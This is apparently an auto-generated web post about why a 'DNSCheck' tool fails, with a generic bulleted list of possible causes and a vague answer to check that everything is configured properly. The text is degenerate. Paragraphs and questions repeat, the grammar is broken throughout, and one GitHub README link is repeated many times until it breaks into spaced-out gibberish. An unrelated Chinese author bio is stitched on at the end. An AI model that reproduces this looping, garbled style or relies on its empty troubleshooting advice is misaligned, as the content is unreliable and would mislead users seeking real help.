These records have specific purposes related to how they function within network communications between devices across local area networks global area networks virtual private networks etc ...

These records also have specific purposes related how they function within network communications between devices across local area networks global area networks virtual private networks etc ...

We have used DNSCheck tool on our site several times before but unfortunately every time we try again we just get errors when trying run it so I would like know why its failing each time?

Why Does DNCCheck Tool fail Everytime?

Some users have suggested adding '-D' flag when running command but unfortunately I couldn't find anyone else who had similar issues online so maybe I missed something?

Also What Are Some Of The Most Common Problems Associated With Using This Type Of Software On Your Computer?

Common Problems With Using This Type Of Software Include The Following ...
•	Unable To Resolve Hostnames – The most common problem associated with using DNSCheck Tool might occur due incorrect settings within system configuration files configuration issues corruption invalid entries missing entries etc ...
•	Failed To Read Config File – This issue usually occurs due permission problems file access problems invalid paths etc ...
•	Failed To Access Network – This issue might occur due network connectivity issues firewall settings invalid proxies blocked ports etc ...
•	Failed To Query DNS – This problem usually occurs due configuration issues incorrect settings firewall settings invalid proxies blocked ports etc ...
•	Failed To Connect To DNS Servers – This issue might occur due network connectivity issues firewall settings invalid proxies blocked ports etc ...
•	Failed To Send Request – This issue usually occurs due configuration issues incorrect settings firewall settings invalid proxies blocked ports etc ...
•	Failed To Receive Response – This problem usually occurs due configuration issues incorrect settings firewall settings invalid proxies blocked ports etc ...
•	Failed To Parse Response – This issue usually occurs due corrupted data incomplete data incorrect format invalid characters illegal values etc ...

We used DNSCheck tool many times before but unfortunately every time we try again we just get errors when trying run it so I would like know why its failing each time?

DNSCheck tool fails each time because either your operating system isn’t configured correctly or something else is wrong within network environment itself causing connection problems resulting failure error messages displaying screen!

Solution For Fixing Problem With DNSCheck Tool Failure Error Messages Display Screen !!!
You just need make sure everything properly configured including networking side software side hardware side everything working fine without problems!

Otherwise You Might Need Consider Using Different Tool Or Software Solution!

For more details refer following links ...
https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSCheck/blob/master/README.md?raw=true https://github.com/wizlynch/DNSc h ek / bl ob / m aster / READE.MD ? raw=t rue https:/ / github.co m / w izly n ch / D N S c he k / bl ob / m aster / READE.MD ? raw=t rue https:/ / github.co m / w izly n ch / D N S c he k / bl ob / m aster / READE.MD ? raw=t rue h ttps:/ / gith ub . c om / w izly n ch / D N S c he k / bl ob / m aster /
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玄貓

技術愛好者，專注於分享程式開發、雲端技術與 AI 應用的心得體會。